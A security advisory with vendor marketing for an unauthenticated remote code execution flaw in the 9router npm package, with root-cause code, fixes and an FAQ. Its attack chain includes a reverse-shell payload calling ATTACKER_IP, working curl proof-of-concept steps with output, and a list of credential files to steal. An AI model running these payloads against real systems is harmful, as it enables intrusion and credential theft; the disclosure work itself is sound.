Summary
9router: Unauthenticated Remote Code Execution via unprotected MCP custom plugin routes
9router exposes two unauthenticated API endpoints that, when chained together, allow any network-adjacent attacker to execute arbitrary OS commands as the user running the 9router process, with zero prerequisites and no credentials required.
The vulnerability exists because the Next.js middleware that enforces authentication (src/proxy.js) only guards 8 explicitly listed routes. The attack surface of /api/cli-tools/* and /api/mcp/* (40+ routes) receives no authentication whatsoever.
Root Cause
1. Middleware Allowlist Is Too Narrow
File: src/proxy.js
export const config = {
matcher: [
"/",
"/dashboard/:path*",
"/api/shutdown",
"/api/settings/:path*",
"/api/keys",
"/api/keys/:path*",
"/api/providers/client",
"/api/provider-nodes/validate",
],
};
Next.js middleware only runs on routes matching this list. Routes NOT listed, including /api/cli-tools/* and /api/mcp/*, bypass the dashboardGuard auth check entirely.
2. Unguarded Endpoint Accepts Arbitrary Command Registration
File: src/app/api/cli-tools/cowork-settings/route.js, lines 292–319
export async function POST(request) {
const { baseUrl, apiKey, models, plugins, localPlugins, customPlugins } = await request.json();
// ...
const customPluginsArray = Array.isArray(customPlugins) ? customPlugins : [];
if (customPluginsArray.length > 0) {
const { registerCustomPlugin } = require("@/lib/mcp/stdioSseBridge");
const stdioCustoms = customPluginsArray
.filter((p) => p.command)
.map((p) => ({
name: p.name,
command: p.command, // ← attacker-controlled, no validation
args: p.args || [], // ← attacker-controlled, no validation
}));
for (const p of stdioCustoms) registerCustomPlugin(p); // stores in globalThis
}
}
The command and args fields from the attacker's JSON are stored verbatim into globalThis.__9routerCustomPlugins, a process-global Map that survives Hot Module Replacement.
File: src/lib/mcp/stdioSseBridge.js, lines 114–116
function registerCustomPlugin(def) {
getCustomStore().set(def.name, def); // no validation of command/args
}
3. Unguarded SSE Endpoint Triggers spawn() with Stored Command
File: src/app/api/mcp/[plugin]/sse/route.js, lines 6–25
export async function GET(request, { params }) {
const { plugin } = await params;
if (!findPlugin(plugin)) return new Response(`Unknown plugin: ${plugin}`, { status: 404 });
const stream = new ReadableStream({
start(controller) {
sid = registerSession(plugin, send); // ← spawn() called here
},
});
return new Response(stream, { ... });
}
File: src/lib/mcp/stdioSseBridge.js, line 138
const proc = spawn(plugin.command, plugin.args, {
stdio: ["pipe", "pipe", "pipe"],
env: process.env, // inherits full environment
});
spawn() is called with shell: false (default), but since the attacker controls both plugin.command (the binary path) and plugin.args, this is equivalent to arbitrary command execution.
Attack Chain
Attacker (no credentials)
│
│ Step 1, Register malicious plugin (POST, no auth)
▼
POST /api/cli-tools/cowork-settings
Content-Type: application/json
{
"baseUrl": "x", "apiKey": "x", "models": ["x"],
"customPlugins": [{
"name": "rev",
"command": "/bin/bash",
"args": ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"]
}]
}
← {"success":true, ...}
│ Step 2, Trigger spawn() via SSE endpoint (GET, no auth)
▼
GET /api/mcp/rev/sse
← SSE stream opens → spawn("/bin/bash", ["-c", "bash -i >& /dev/tcp/..."])
← Reverse shell connects to attacker
Time to exploit from first request: < 2 seconds.
Prerequisites: Network access to port 20128 (Docker default: 0.0.0.0:20128).
Proof of Concept
PoC 1, File Write (no listener required)
# Step 1: Register payload
curl -X POST "http://TARGET:20128/api/cli-tools/cowork-settings" \
-H 'Content-Type: application/json' \
-d '{
"baseUrl":"x","apiKey":"x","models":["x"],
"customPlugins":[{
"name":"rce1",
"command":"/bin/sh",
"args":["-c","{ id; whoami; hostname; uname -a; } > /tmp/pwned.txt"]
}]
}'
# → {"success":true,...}
# Step 2: Trigger
curl -N --max-time 3 "http://TARGET:20128/api/mcp/rce1/sse" >/dev/null 2>&1
# Verify
cat /tmp/pwned.txt
Observed output (on local test instance):
uid=1000(sondt23) gid=1000(sondt23) groups=...,983(docker),984(ollama)
sondt23
VSOC-sondt23-L
Linux VSOC-sondt23-L 6.17.0-23-generic ... x86_64 GNU/Linux
PoC 2, Automated PoC script
# File write mode (for report)
python3 poc.py --target http://TARGET:20128 --mode file
# Reverse shell mode (interactive)
python3 poc.py --target http://TARGET:20128 --mode shell --lhost ATTACKER_IP --lport 4444
The script (poc.py) is included in this advisory.
High-value exfiltration targets on a typical 9router host
~/.claude/settings.json,ANTHROPIC_AUTH_TOKEN~/.aws/credentials,~/.aws/sso/cache/*.json, AWS keys$DATA_DIR/db.sqlite, 9router local database (all stored API keys, provider configs)- TLS private keys managed by the MITM proxy (
src/mitm/)
Affected Versions
| Version | Affected | Notes |
|---|---|---|
| < v0.4.30 | No | cowork-settings and MCP SSE bridge did not exist |
| v0.4.30 | Yes | Introduced in commit 8f4d29c (2026-05-11) |
| v0.4.31 | Yes | |
| v0.4.32 | Yes | |
| v0.4.33 | Yes | Latest at time of disclosure |
The vulnerability was introduced when the MCP stdio→SSE bridge feature was added in v0.4.30. The middleware matcher was not updated to protect the new routes.
Fix 1, Extend middleware matcher (minimal fix)
File: src/proxy.js
export const config = {
matcher: [
"/",
"/dashboard/:path*",
"/api/shutdown",
"/api/settings/:path*",
"/api/keys",
"/api/keys/:path*",
"/api/providers/client",
"/api/provider-nodes/validate",
// ADD these:
"/api/cli-tools/:path*",
"/api/mcp/:path*",
],
};
Fix 2, Validate command in registerCustomPlugin (defense-in-depth)
File: src/lib/mcp/stdioSseBridge.js
const ALLOWED_MCP_COMMANDS = new Set(["npx", "node", "uvx", "python3", "python"]);
function registerCustomPlugin(def) {
const bin = def.command?.split("/").pop(); // basename only
if (!ALLOWED_MCP_COMMANDS.has(bin)) {
throw new Error(`Blocked: command '${def.command}' not in allowlist`);
}
getCustomStore().set(def.name, def);
}
Fix 3, Sanitize customPlugins at the API boundary
File: src/app/api/cli-tools/cowork-settings/route.js, line 312
const stdioCustoms = customPluginsArray
.filter((p) => p.command && typeof p.command === "string")
.filter((p) => ALLOWED_COMMANDS.has(path.basename(p.command))) // allowlist check
.map((p) => ({
name: String(p.name).replace(/[^a-zA-Z0-9_-]/g, ""), // sanitize name
command: p.command,
args: (p.args || []).map(String),
}));
All three fixes should be applied together. Fix 1 alone is sufficient to prevent exploitation from unauthenticated attackers, but Fixes 2 and 3 provide defense-in-depth against authenticated users abusing the feature.
Impact
| Category | Detail |
|---|---|
| Confidentiality | Full read access to server filesystem, API keys, TLS private keys, ~/.claude/settings.json (Anthropic tokens), AWS credentials |
| Integrity | Arbitrary file write, persistence via cron/systemd |
| Availability | Process termination, resource exhaustion |
| Lateral movement | docker group membership (confirmed in test) allows full container escape → host root |
| Scope | Remote, unauthenticated, network-accessible |
Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.
CVE-2026-46339 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.4.37); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-46339? CVE-2026-46339 is a critical-severity OS command injection vulnerability in 9router (npm), affecting versions >= 0.4.30, < 0.4.37. It is fixed in 0.4.37. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
- How severe is CVE-2026-46339? CVE-2026-46339 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of 9router are affected by CVE-2026-46339? 9router (npm) versions >= 0.4.30, < 0.4.37 is affected.
- Is there a fix for CVE-2026-46339? Yes. CVE-2026-46339 is fixed in 0.4.37. Upgrade to this version or later.
- Is CVE-2026-46339 exploitable, and should I be worried? Whether CVE-2026-46339 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-46339 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-46339? Upgrade
9routerto 0.4.37 or later.